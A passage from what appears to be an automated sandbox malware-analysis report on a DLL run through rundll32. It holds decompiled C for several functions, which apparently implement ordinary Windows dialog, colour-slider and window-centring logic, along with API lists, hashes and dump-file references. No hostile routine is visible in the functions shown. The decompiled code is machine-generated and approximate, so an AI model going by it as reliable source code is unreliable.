				signed int _t165;
				void* _t167;
				signed char _t171;
				signed int _t172;
				signed int _t173;
				signed int _t174;
				signed char _t182;
				intOrPtr _t183;
				signed int _t184;
				short _t188;
				signed int _t189;
				signed int _t190;
				signed int _t191;
				signed int _t195;
				signed int _t198;
				signed char _t199;
				signed int _t200;
				signed int _t201;
				signed int _t203;
				short _t204;
				signed int _t206;
				signed int _t207;
				signed int _t208;
				signed int _t209;
				void* _t211;
				signed int _t215;
				signed int _t216;
				struct HWND__* _t217;
				struct tagMSG* _t221;
				intOrPtr _t224;
				void* _t231;
				void* _t234;
				struct tagMSG* _t240;
				signed int _t242;
				int _t243;
				signed int _t244;
				long _t247;
				intOrPtr _t249;
				signed int _t251;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				signed int _t258;

				_t232 = __ecx;
				_push(__ecx);
				_v8 = _v8 & 0x00000000;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t139 = E6EB5F446(_a4, _a8);
				_t238 = _t139;
				if(_t139 == 0) {
					_t232 = _a4;
					_t231 = E6EB4AFE1(_a4);
					if(_t231 != 0) {
						_t221 =  *((intOrPtr*)(_t231 + 0x44));
						_a8 = _t221;
						if(_t221 != 0) {
							while(1) {
								_t9 = _t231 + 0x40; // 0x40
								_t232 = _t9;
								_t258 =  *(E6EB4ABF2( &_a8));
								_t224 =  *((intOrPtr*)(_t258 + 4));
								if(_t224 != 0 && _t224 ==  *((intOrPtr*)(_t231 + 0x70))) {
									break;
								}
								if( *_t258 == 0 ||  *_t258 != GetFocus()) {
									if(_a8 != 0) {
										continue;
									} else {
									}
								} else {
									break;
								}
								goto L10;
							}
							_t238 = _t258;
						}
					}
				}
				L10:
				_t247 = 0;
				while(1) {
					_t238 = E6EB5F49A(_t232, _a4, _t238, _a12);
					if(_t238 == 0) {
						break;
					}
					_t142 = E6EB5EF1E(_t238);
					_pop(_t232);
					if(_t142 == 0) {
						L14:
						if(_t238 == 0) {
							L21:
							__eflags =  *(_t238 + 4);
							if(__eflags == 0) {
								E6EB48BA4(0, _t232, _t238, _t247, __eflags);
								asm("int3");
								_push(0x28);
								E6EB6652E(0x6eb7829f, 0, _t238, _t247);
								_t146 = _a4;
								__eflags = _t146;
								if(_t146 != 0) {
									_v48 =  *((intOrPtr*)(_t146 + 0x20));
								} else {
									_v48 = _v48 & _t146;
								}
								_t240 = _a8;
								_t249 = _t240->message;
								_v32 = _t249;
								_v52 = GetFocus();
								_t149 = E6EB4C72D(0, _t232, _t148);
								_t229 = 0x100;
								_v24 = _t149;
								__eflags = _t249 - 0x100;
								if(_t249 < 0x100) {
									L34:
									__eflags = _t249 + 0xfffffe00 - 9;
									if(_t249 + 0xfffffe00 > 9) {
										goto L56;
									} else {
										goto L35;
									}
								} else {
									__eflags = _t249 - 0x109;
									if(_t249 <= 0x109) {
										L35:
										__eflags = _t149;
										if(_t149 == 0) {
											L56:
											_t251 = 0;
											_v28 = 0;
											_t150 = E6EB4C72D(_t229, _t232,  *_t240);
											_v44 = _v44 & 0;
											_v36 = _t150;
											_t152 = _v32 - _t229;
											__eflags = _t152;
											_v40 = 2;
											if(_t152 == 0) {
												_t153 = E6EB5EEC8(_v36, _t240);
												_t232 =  *(_t240 + 8) & 0x0000ffff;
												__eflags = _t232 - 0x1b;
												if(__eflags > 0) {
													__eflags = _t232 - 0x25;
													if(_t232 < 0x25) {
														goto L75;
													} else {
														__eflags = _t232 - 0x26;
														if(_t232 <= 0x26) {
															_v44 = 1;
															goto L110;
														} else {
															__eflags = _t232 - 0x28;
															if(_t232 <= 0x28) {
																L110:
																_t171 = E6EB5EEC8(_v24, _t240);
																__eflags = _t171 & 0x00000001;
																if((_t171 & 0x00000001) != 0) {
																	goto L75;
																} else {
																	__eflags = _v44;
																	_t232 = _a4;
																	_push(0);
																	if(_v44 == 0) {
																		_t172 = E6EB5003D(_t229, _t232);
																	} else {
																		_t172 = E6EB4FFE6(_t229, _t232);
																	}
																	_t254 = _t172;
																	__eflags = _t254;
																	if(_t254 == 0) {
																		goto L75;
																	} else {
																		__eflags =  *(_t254 + 8);
																		if( *(_t254 + 8) != 0) {
																			_t232 = _a4;
																			E6EB4FB3E(_a4, _t254);
																		}
																		__eflags =  *(_t254 + 4);
																		if( *(_t254 + 4) == 0) {
																			_t173 =  *_t254;
																			__eflags = _t173;
																			if(_t173 == 0) {
																				_t232 = _a4;
																				_t174 = E6EB5EF9C(_a4, _v24, _v44);
																			} else {
																				_t174 = E6EB4C72D(_t229, _t232, _t173);
																			}
																			_t242 = _t174;
																			__eflags = _t242;
																			if(_t242 == 0) {
																				goto L75;
																			} else {
																				_t229 = 0;
																				 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x4c)) + 0x70)) = 0;
																				E6EB5EFDF(_t242);
																				__eflags =  *(_t254 + 8);
																				if( *(_t254 + 8) != 0) {
																					SendMessageA( *(_t242 + 0x20), 0xf1, 1, 0);
																				}
																				goto L125;
																			}
																		} else {
																			_t232 =  *(_t254 + 4);
																			 *((intOrPtr*)( *( *(_t254 + 4)) + 0xac))(_t240);
																			goto L125;
																		}
																	}
																}
															} else {
																__eflags = _t232 - 0x2b;
																if(_t232 != 0x2b) {
																	goto L75;
																} else {
																	goto L97;
																}
															}
														}
													}
													goto L126;
												} else {
													if(__eflags == 0) {
														L103:
														_t243 = 0;
														__eflags = 0;
														goto L104;
													} else {
														__eflags = _t232 - 3;
														if(_t232 == 3) {
															goto L103;
														} else {
															__eflags = _t232 - 9;
															if(_t232 == 9) {
																__eflags = _t153 & 0x00000002;
																if((_t153 & 0x00000002) != 0) {
																	goto L75;
																} else {
																	_t188 = GetKeyState(0x10);
																	_t255 = _a4;
																	__eflags = _t188;
																	_t229 = 0 | _t188 < 0x00000000;
																	_t232 = _t255;
																	_t189 = E6EB4F9FE(_t188 < 0, _t255, 0, _t188 < 0);
																	__eflags = _t189;
																	if(_t189 == 0) {
																		goto L75;
																	} else {
																		__eflags =  *(_t189 + 4);
																		if( *(_t189 + 4) == 0) {
																			_t190 =  *_t189;
																			__eflags = _t190;
																			if(_t190 == 0) {
																				_t232 = _t255;
																				_t191 = E6EB52AF6(_t255, _v36, _t229);
																			} else {
																				_t191 = E6EB4C72D(_t229, _t232, _t190);
																			}
																			_t244 = _t191;
																			__eflags = _t244;
																			if(_t244 != 0) {
																				 *( *((intOrPtr*)(_t255 + 0x4c)) + 0x70) =  *( *((intOrPtr*)(_t255 + 0x4c)) + 0x70) & 0x00000000;
																				E6EB5EFDF(_t244);
																				E6EB5F1A3(_t229, _t232, _v24, _t244);
																				_pop(_t232);
																			}
																		} else {
																			_t195 =  *(_t189 + 4);
																			_t232 = _t195;
																			 *((intOrPtr*)( *_t195 + 0xac))(_t240);
																		}
																		goto L125;
																	}
																}
																goto L126;
															} else {
																__eflags = _t232 - 0xd;
																if(_t232 == 0xd) {
																	L97:
																	__eflags = _t153 & 0x00000004;
																	if((_t153 & 0x00000004) != 0) {
																		goto L75;
																	} else {
																		_t182 = E6EB5EF74(_v24);
																		_pop(_t232);
																		__eflags = _t182 & 0x00000010;
																		if((_t182 & 0x00000010) == 0) {
																			_t183 = E6EB5F32F(_a4);
																		} else {
																			_t251 = _v24;
																			_t232 = _t251;
																			_t183 = E6EB4F670(_t251);
																		}
																		_t243 = 0;
																		_v40 = _t183;
																		__eflags = _t251;
																		if(_t251 != 0) {
																			L105:
																			_t232 = _t251;
																			_t184 = E6EB4F6F2(_t251);
																			__eflags = _t184;
																			if(_t184 != 0) {
																				__eflags =  *((intOrPtr*)(_t251 + 0x50)) - _t243;
																				if( *((intOrPtr*)(_t251 + 0x50)) == _t243) {
																					goto L75;
																				} else {
																					_push(_t243);
																					_push(_t243);
																					_push(_t243);
																					_push(1);
																					_push(0xfffffdd9);
																					_push(_t251);
																					_v8 = _t243;
																					E6EB4F755();
																					_v8 = _v8 | 0xffffffff;
																					goto L125;
																				}
																			} else {
																				MessageBeep(_t243);
																				goto L75;
																			}
																		} else {
																			L104:
																			_t251 = E6EB5F222(_a4, _v40);
																			__eflags = _t251 - _t243;
																			if(_t251 == _t243) {
																				goto L75;
																			} else {
																				goto L105;
																			}
																		}
																	}
																	goto L126;
																} else {
																	goto L75;
																}
															}
														}
													}
												}
												goto L79;
											} else {
												_t198 = _t152;
												__eflags = _t198;
												if(_t198 == 0) {
													L62:
													_t199 = E6EB5EEC8(_v36, _t240);
													__eflags = _v32 - 0x102;
													if(_v32 != 0x102) {
														L64:
														_t232 =  *(_t240 + 8) & 0x0000ffff;
														__eflags = _t232 - 9;
														if(_t232 != 9) {
															L66:
															__eflags = _t232 - 0x20;
															if(__eflags == 0) {
																goto L54;
															} else {
																_push(_t240);
																_t200 = E6EB5F5ED(_t229, _t232, _t240, _t251, __eflags, _a4, _v36);
																__eflags = _t200;
																if(_t200 == 0) {
																	goto L75;
																} else {
																	_t201 =  *(_t200 + 4);
																	__eflags = _t201;
																	if(_t201 == 0) {
																		goto L75;
																	} else {
																		_t232 = _t201;
																		E6EB593AF(_t201, _t240);
																		L125:
																		_v28 = 1;
																	}
																}
																goto L79;
															}
														} else {
															__eflags = _t199 & 0x00000002;
															if((_t199 & 0x00000002) != 0) {
																goto L75;
															} else {
																goto L66;
															}
														}
													} else {
														__eflags = _t199 & 0x00000084;
														if((_t199 & 0x00000084) != 0) {
															goto L75;
														} else {
															goto L64;
														}
													}
												} else {
													_t203 = _t198 - 4;
													__eflags = _t203;
													if(_t203 != 0) {
														L75:
														_t154 = _a4;
														__eflags =  *(_t154 + 0x3c) & 0x00001000;
														if(( *(_t154 + 0x3c) & 0x00001000) == 0) {
															_t165 = IsDialogMessageA( *(_t154 + 0x20), _a8);
															_v28 = _t165;
															__eflags = _t165;
															if(_t165 != 0) {
																_t167 = E6EB4C72D(_t229, _t232, GetFocus());
																__eflags = _t167 - _v24;
																if(_t167 != _v24) {
																	E6EB5F130(_t232, E6EB4C72D(_t229, _t232, GetFocus()));
																	_pop(_t232);
																}
															}
														}
														L79:
														_t155 = IsWindow(_v52);
														__eflags = _t155;
														if(_t155 != 0) {
															E6EB5F1A3(_t229, _t232, _v24, E6EB4C72D(_t229, _t232, GetFocus()));
															_pop(_t234);
															_t161 = IsWindow(_v48);
															__eflags = _t161;
															if(_t161 != 0) {
																E6EB5F364(_a4, _v24, E6EB4C72D(_t229, _t234, GetFocus()));
															}
														}
														_t156 = _v28;
													} else {
														__eflags = _v24 - _t203;
														if(_v24 != _t203) {
															L61:
															__eflags =  *(_t240 + 8) - 0x20;
															if( *(_t240 + 8) == 0x20) {
																goto L75;
															} else {
																goto L62;
															}
														} else {
															_t204 = GetKeyState(0x12);
															__eflags = _t204;
															if(_t204 >= 0) {
																goto L75;
															} else {
																goto L61;
															}
														}
													}
												}
											}
										} else {
											_t256 = _t149;
											while(1) {
												__eflags =  *(_t256 + 0x50);
												if( *(_t256 + 0x50) != 0) {
													break;
												}
												_t211 = E6EB4C72D(_t229, _t232, GetParent( *(_t256 + 0x20)));
												__eflags = _t211 - _a4;
												if(_t211 != _a4) {
													_t256 = E6EB4C72D(_t229, _t232, GetParent( *(_t256 + 0x20)));
													__eflags = _t256;
													if(_t256 != 0) {
														continue;
													}
												}
												break;
											}
											__eflags = _t256;
											if(_t256 == 0) {
												L45:
												__eflags = _v32 - 0x101;
												if(_v32 == 0x101) {
													L48:
													__eflags = _t256;
													if(_t256 == 0) {
														goto L55;
													} else {
														_t257 =  *(_t256 + 0x50);
														__eflags = _t257;
														if(_t257 == 0) {
															goto L55;
														} else {
															_t206 = _a8->wParam & 0x0000ffff;
															__eflags = _t206 - 0xd;
															if(_t206 != 0xd) {
																L52:
																__eflags = _t206 - 0x1b;
																if(_t206 != 0x1b) {
																	goto L55;
																} else {
																	__eflags =  *(_t257 + 0x84) & 0x00000002;
																	if(( *(_t257 + 0x84) & 0x00000002) == 0) {
																		goto L55;
																	} else {
																		goto L54;
																	}
																}
															} else {
																__eflags =  *(_t257 + 0x84) & 0x00000001;
																if(( *(_t257 + 0x84) & 0x00000001) != 0) {
																	L54:
																	_t156 = 0;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _v32 - _t229;
													if(_v32 == _t229) {
														goto L48;
													} else {
														__eflags = _v32 - 0x102;
														if(_v32 != 0x102) {
															L55:
															_t240 = _a8;
															goto L56;
														} else {
															goto L48;
														}
													}
												}
											} else {
												_t207 =  *(_t256 + 0x50);
												__eflags = _t207;
												if(_t207 == 0) {
													goto L45;
												} else {
													__eflags =  *(_t207 + 0x58);
													if( *(_t207 + 0x58) == 0) {
														goto L45;
													} else {
														_t208 =  *(_t207 + 0x58);
														_t232 =  *_t208;
														_t209 =  *((intOrPtr*)( *_t208 + 0x14))(_t208, _a8);
														__eflags = _t209;
														if(_t209 != 0) {
															goto L45;
														} else {
															_t156 = _t209 + 1;
														}
													}
												}
											}
										}
									} else {
										goto L34;
									}
								}
								return E6EB665D3(_t156);
							} else {
								_t232 =  *(_t238 + 4);
								_t215 =  *((intOrPtr*)( *( *(_t238 + 4)) + 0x78))();
								__eflags = _t215 & 0x08000000;
								if((_t215 & 0x08000000) == 0) {
									goto L20;
								} else {
									goto L23;
								}
							}
						} else {
							_t216 =  *(_t238 + 4);
							if(_t216 == 0) {
								_t217 =  *_t238;
							} else {
								_t217 =  *(_t216 + 0x24);
							}
							if(_t217 == 0) {
								goto L21;
							} else {
								if(IsWindowEnabled(_t217) == 0) {
									L23:
									__eflags = _t238 - _v8;
									if(_t238 == _v8) {
										break;
									} else {
										__eflags = _v8;
										if(_v8 == 0) {
											_v8 = _t238;
										}
										_t247 = _t247 + 1;
										__eflags = _t247 - 0x200;
										if(_t247 < 0x200) {
											continue;
										} else {
											break;
										}
									}
								} else {
									L20:
									_t141 = _t238;
									L28:
									return _t141;
								}
							}
						}
					} else {
						_t232 = _a4;
						_t238 = E6EB4F9FE(0, _a4, _t238, 0);
						if(_t238 == 0) {
							break;
						} else {
							goto L14;
						}
					}
					L126:
				}
				_t141 = 0;
				__eflags = 0;
				goto L28;
			}

APIs

GetFocus.USER32 ref: 6EB5F642
IsWindowEnabled.USER32(?), ref: 6EB5F69E
__EH_prolog3_catch.LIBCMT ref: 6EB5F6EC
GetFocus.USER32 ref: 6EB5F70C
GetParent.USER32(?), ref: 6EB5F757
GetParent.USER32(?), ref: 6EB5F767
GetKeyState.USER32(00000012), ref: 6EB5F825
IsDialogMessageA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6EB5F8DA
GetFocus.USER32 ref: 6EB5F8ED
GetFocus.USER32 ref: 6EB5F8FA
IsWindow.USER32 ref: 6EB5F912
GetFocus.USER32 ref: 6EB5F91E
IsWindow.USER32 ref: 6EB5F934
GetFocus.USER32 ref: 6EB5F93A
GetKeyState.USER32(00000010), ref: 6EB5F963
MessageBeep.USER32(00000000), ref: 6EB5FA5A

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Focus$Window$MessageParentState$BeepDialogEnabledH_prolog3_catch
String ID:
API String ID: 656273425-0
Opcode ID: 1742e503c6e61e5c899b8e57ffd12a29368cee309e845ff9cb62e99208cf3b90
Instruction ID: d1b1057c796a8d1fb61577b9f2c91692a85481ee34bdf2f91496f712269fb60d
Opcode Fuzzy Hash: 1742e503c6e61e5c899b8e57ffd12a29368cee309e845ff9cb62e99208cf3b90
Instruction Fuzzy Hash: A7F1D331910686EBDF519FE4C954AAEFFBAEF45344F30442AE950AB3A0DB30D960CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB46260 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 244
windowCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6EB46260(signed int __ecx, void* __edx, void* __fp0, intOrPtr _a12) {
				char _v12;
				short _v16;
				short _v20;
				signed int _v24;
				short _v28;
				short _v32;
				intOrPtr _v40;
				signed int _v44;
				char _v52;
				intOrPtr _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t65;
				intOrPtr* _t84;
				signed int* _t88;
				intOrPtr* _t92;
				intOrPtr* _t97;
				signed char _t123;
				long _t124;
				signed int _t145;
				signed int _t169;
				signed int _t183;
				short _t188;
				long _t193;
				void* _t194;
				signed short _t195;
				void* _t203;
				intOrPtr* _t210;
				void* _t214;

				_t214 = __fp0;
				_push(0xffffffff);
				_push(0x6eb78850);
				_push( *[fs:0x0]);
				_t65 =  *0x6eb89470; // 0xc96cff66
				_push(_t65 ^ _t203 - 0x00000014);
				 *[fs:0x0] =  &_v12;
				_t183 = __ecx;
				_t186 = _a12;
				if(_a12 != 0) {
					E6EB412C0(__edx, _t186);
				}
				_t123 = 0xff - SendMessageA( *(_t183 + 0x168), 0x400, 0, 0);
				_v24 = 0xff - SendMessageA( *(_t183 + 0x270), 0x400, 0, 0);
				_v28 = 0xff - SendMessageA( *(_t183 + 0x2f4), 0x400, 0, 0);
				_t188 = 0xf0 - SendMessageA( *(_t183 + 0x1ec), 0x400, 0, 0);
				if( *((intOrPtr*)(_a12 + 0x20)) !=  *(_t183 + 0x1ec)) {
					_t193 = ((_v28 & 0x000000ff) << 0x00000008 | _v24 & 0x000000ff) << 0x00000008 | _t123 & 0x000000ff;
					ColorRGBToHLS(_t193,  &_v16,  &_v32,  &_v20);
					_t167 =  *(_t183 + 0x1ec);
					_push(0xf0 - (_v44 & 0x0000ffff));
					_t124 = _t193;
					_push(1);
					_t194 = _t183 + 0x1cc;
					_push(0x405);
					_push( *(_t183 + 0x1ec));
				} else {
					ColorRGBToHLS(((_v28 & 0x000000ff) << 0x00000008 | _v24 & 0x000000ff) << 0x00000008 | _t123 & 0x000000ff,  &_v16,  &_v32,  &_v20);
					_v44 = _t188 & 0x0000ffff;
					_t124 = ColorHLSToRGB(_v28, _t188, _v32);
					SendMessageA( *(_t183 + 0x168), 0x405, 1, 0xff - (_t124 & 0x000000ff));
					E6EB412C0( *(_t183 + 0x168), _t183 + 0x148);
					SendMessageA( *(_t183 + 0x270), 0x405, 1, 0xff);
					E6EB412C0(0xff - (_t124 >> 0x00000008 & 0x000000ff), _t183 + 0x250);
					_t167 = _t124 >> 0x00000010 & 0x000000ff;
					_push(0xff - (_t124 >> 0x00000010 & 0x000000ff));
					_push(1);
					_t194 = _t183 + 0x2d4;
					_push(0x405);
					_push( *(_t183 + 0x2f4));
				}
				SendMessageA();
				E6EB412C0(_t167, _t194);
				 *(_t183 + 0xf0) = _v44 & 0x0000ffff;
				 *(_t183 + 0xec) = _t124;
				InvalidateRect( *(_t183 + 0x9c), 0, 1);
				if( *((intOrPtr*)(_t183 + 0x78)) != 0) {
					E6EB49CA7(_t183 + 0x74);
				}
				E6EB49C4F(_t124, _t183 + 0x74, _t183, CreateSolidBrush(_t124));
				_t84 = E6EB4838C();
				_t210 = _t84;
				_t138 = 0 | _t210 == 0x00000000;
				if(_t210 == 0) {
					_t84 = E6EB41000(_t138, _t167, 0x80004005);
				}
				_v40 =  *((intOrPtr*)( *((intOrPtr*)( *_t84 + 0xc))))() + 0x10;
				_push(0);
				_v20 = 0;
				_t88 = E6EB478D0( *_t84, _t214,  &_v44, _t124);
				_v32 = 1;
				_t169 =  *_t88;
				E6EB415B0( &_v52, " Similar to %s ", _t169);
				_v32 = 0;
				_t92 = _v56 + 0xfffffff0;
				asm("lock xadd [ecx], edx");
				if((_t169 | 0xffffffff) - 1 <= 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t92)) + 4))))(_t92);
				}
				_t195 = _v44;
				E6EB4F629(_t183 + 0xf4, _t195);
				InvalidateRect( *(_t183 + 0x114), 0, 1);
				_t145 = _t183;
				E6EB4CBFC(_t145, _v20, _v16, _v12);
				_t97 = _t195 - 0x10;
				_v40 = 0xffffffff;
				asm("lock xadd [edx], ecx");
				if((_t145 | 0xffffffff) - 1 <= 0) {
					_t97 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t97)) + 4))))(_t97);
				}
				 *[fs:0x0] = _v32;
				return _t97;
			}

0x6eb46260
0x6eb46260
0x6eb46262
0x6eb4626d
0x6eb46275
0x6eb4627c
0x6eb46281
0x6eb46287
0x6eb46289
0x6eb4628f
0x6eb46291
0x6eb46291
0x6eb462c3
0x6eb462de
0x6eb462fb
0x6eb4630d
0x6eb46315
0x6eb463f3
0x6eb46400
0x6eb4640b
0x6eb46418
0x6eb46419
0x6eb4641b
0x6eb4641d
0x6eb46423
0x6eb46428
0x6eb4631b
0x6eb46342
0x6eb46356
0x6eb46366
0x6eb46381
0x6eb46383
0x6eb463ac
0x6eb463ae
0x6eb463b8
0x6eb463c8
0x6eb463c9
0x6eb463cb
0x6eb463d1
0x6eb463d6
0x6eb463d6
0x6eb46429
0x6eb4642b
0x6eb46446
0x6eb4644c
0x6eb46452
0x6eb46458
0x6eb4645d
0x6eb4645d
0x6eb4646d
0x6eb46472
0x6eb46479
0x6eb4647b
0x6eb46480
0x6eb46487
0x6eb46487
0x6eb46498
0x6eb4649c
0x6eb464a4
0x6eb464ac
0x6eb464b1
0x6eb464b6
0x6eb464c3
0x6eb464c8
0x6eb464d1
0x6eb464dd
0x6eb464e4
0x6eb464ee
0x6eb464ee
0x6eb464f0
0x6eb464fb
0x6eb4650b
0x6eb4651c
0x6eb4651e
0x6eb46523
0x6eb46526
0x6eb46534
0x6eb4653b
0x6eb46545
0x6eb46545
0x6eb4654b
0x6eb4655a

APIs

SendMessageA.USER32 ref: 6EB462AC
SendMessageA.USER32 ref: 6EB462C5
SendMessageA.USER32 ref: 6EB462E2
SendMessageA.USER32 ref: 6EB462FF
ColorRGBToHLS.SHLWAPI(?,?,?,?), ref: 6EB46342
ColorHLSToRGB.SHLWAPI(?,000000F0,?), ref: 6EB4635A
SendMessageA.USER32 ref: 6EB46381
SendMessageA.USER32 ref: 6EB463AC
ColorRGBToHLS.SHLWAPI(?,?,?,?), ref: 6EB46400
SendMessageA.USER32 ref: 6EB46429

Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41303
Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41314

InvalidateRect.USER32(?,00000000,00000001), ref: 6EB46452
CreateSolidBrush.GDI32(?), ref: 6EB46463
InvalidateRect.USER32(?,00000000,00000001,?), ref: 6EB4650B

Strings

Similar to %s , xrefs: 6EB464BD

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: MessageSend$Color$InvalidateRect$BrushCreateSolid
String ID: Similar to %s
API String ID: 3771733679-2607584825
Opcode ID: 0979f8fb24fdea38edd076201dab04071c90459410a85f8256142f5d8d4a07ae
Instruction ID: 34580d8afae57b1b3d1c7575efa079dfa10bfdc2e0815df7af2d577e7b49c4e2
Opcode Fuzzy Hash: 0979f8fb24fdea38edd076201dab04071c90459410a85f8256142f5d8d4a07ae
Instruction Fuzzy Hash: 3391AEB1204652AFD718CB68CC81FABBBE8FB88714F004A2DF655972D4DB74E905CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4C12A Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 175
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6EB4C12A(void* __ebx, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				struct tagRECT _v60;
				struct tagRECT _v80;
				char _v100;
				void* __edi;
				intOrPtr _t58;
				struct HWND__* _t59;
				intOrPtr _t94;
				signed int _t103;
				struct HWND__* _t104;
				void* _t105;
				struct HWND__* _t107;
				long _t108;
				long _t116;
				void* _t119;
				struct HWND__* _t121;
				void* _t123;
				intOrPtr _t125;
				intOrPtr _t129;

				_t119 = __edx;
				_t105 = __ebx;
				_t125 = __ecx;
				_v12 = __ecx;
				_v8 = E6EB4F5C9(__ecx);
				_t58 = _a4;
				if(_t58 == 0) {
					if((_v8 & 0x40000000) == 0) {
						_t59 = GetWindow( *(__ecx + 0x20), 4);
					} else {
						_t59 = GetParent( *(__ecx + 0x20));
					}
					_t121 = _t59;
					if(_t121 != 0) {
						_t104 = SendMessageA(_t121, 0x36b, 0, 0);
						if(_t104 != 0) {
							_t121 = _t104;
						}
					}
				} else {
					_t4 = _t58 + 0x20; // 0xc033d88b
					_t121 =  *_t4;
				}
				_push(_t105);
				GetWindowRect( *(_t125 + 0x20),  &_v60);
				if((_v8 & 0x40000000) != 0) {
					_t107 = GetParent( *(_t125 + 0x20));
					GetClientRect(_t107,  &_v28);
					GetClientRect(_t121,  &_v44);
					MapWindowPoints(_t121, _t107,  &_v44, 2);
				} else {
					if(_t121 != 0) {
						_t103 = GetWindowLongA(_t121, 0xfffffff0);
						if((_t103 & 0x10000000) == 0 || (_t103 & 0x20000000) != 0) {
							_t121 = 0;
						}
					}
					_v100 = 0x28;
					if(_t121 != 0) {
						GetWindowRect(_t121,  &_v44);
						E6EB4A25E(_t121, E6EB4A1F1(_t121, 2),  &_v100);
						CopyRect( &_v28,  &_v80);
					} else {
						_t94 = E6EB487A0();
						if(_t94 != 0) {
							_t94 =  *((intOrPtr*)(_t94 + 0x20));
						}
						E6EB4A25E(_t121, E6EB4A1F1(_t94, 1),  &_v100);
						CopyRect( &_v44,  &_v80);
						CopyRect( &_v28,  &_v80);
					}
				}
				_t108 = _v60.left;
				asm("cdq");
				_t123 = _v60.right - _t108;
				asm("cdq");
				_t120 = _v44.bottom;
				_t116 = (_v44.left + _v44.right - _t119 >> 1) - (_t123 - _t119 >> 1);
				_a4 = _v60.bottom - _v60.top;
				asm("cdq");
				asm("cdq");
				_t129 = (_v44.top + _v44.bottom - _v44.bottom >> 1) - (_a4 - _t120 >> 1);
				if(_t123 + _t116 > _v28.right) {
					_t116 = _t108 - _v60.right + _v28.right;
				}
				if(_t116 < _v28.left) {
					_t116 = _v28.left;
				}
				if(_a4 + _t129 > _v28.bottom) {
					_t129 = _v60.top - _v60.bottom + _v28.bottom;
				}
				if(_t129 < _v28.top) {
					_t129 = _v28.top;
				}
				return E6EB4F95A(_v12, 0, _t116, _t129, 0xffffffff, 0xffffffff, 0x15);
			}

0x6eb4c12a
0x6eb4c12a
0x6eb4c133
0x6eb4c136
0x6eb4c13e
0x6eb4c141
0x6eb4c146
0x6eb4c154
0x6eb4c166
0x6eb4c156
0x6eb4c159
0x6eb4c159
0x6eb4c16c
0x6eb4c170
0x6eb4c17c
0x6eb4c184
0x6eb4c186
0x6eb4c186
0x6eb4c184
0x6eb4c148
0x6eb4c148
0x6eb4c148
0x6eb4c148
0x6eb4c188
0x6eb4c196
0x6eb4c19f
0x6eb4c23f
0x6eb4c246
0x6eb4c24d
0x6eb4c257
0x6eb4c1a5
0x6eb4c1a7
0x6eb4c1ac
0x6eb4c1b7
0x6eb4c1c0
0x6eb4c1c0
0x6eb4c1b7
0x6eb4c1c2
0x6eb4c1cb
0x6eb4c20c
0x6eb4c21b
0x6eb4c228
0x6eb4c1cd
0x6eb4c1cd
0x6eb4c1d4
0x6eb4c1d6
0x6eb4c1d6
0x6eb4c1e6
0x6eb4c1f9
0x6eb4c203
0x6eb4c203
0x6eb4c1cb
0x6eb4c266
0x6eb4c26b
0x6eb4c270
0x6eb4c274
0x6eb4c277
0x6eb4c27e
0x6eb4c288
0x6eb4c290
0x6eb4c298
0x6eb4c29f
0x6eb4c2a4
0x6eb4c2ac
0x6eb4c2ac
0x6eb4c2b2
0x6eb4c2b4
0x6eb4c2b4
0x6eb4c2bf
0x6eb4c2c7
0x6eb4c2c7
0x6eb4c2cd
0x6eb4c2cf
0x6eb4c2cf
0x6eb4c2e7

APIs

Part of subcall function 6EB4F5C9: GetWindowLongA.USER32 ref: 6EB4F5D4

GetParent.USER32(?), ref: 6EB4C159
SendMessageA.USER32 ref: 6EB4C17C
GetWindowRect.USER32 ref: 6EB4C196
GetWindowLongA.USER32 ref: 6EB4C1AC
CopyRect.USER32 ref: 6EB4C1F9
CopyRect.USER32 ref: 6EB4C203
GetWindowRect.USER32 ref: 6EB4C20C
CopyRect.USER32 ref: 6EB4C228

Strings

(, xrefs: 6EB4C1C2

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
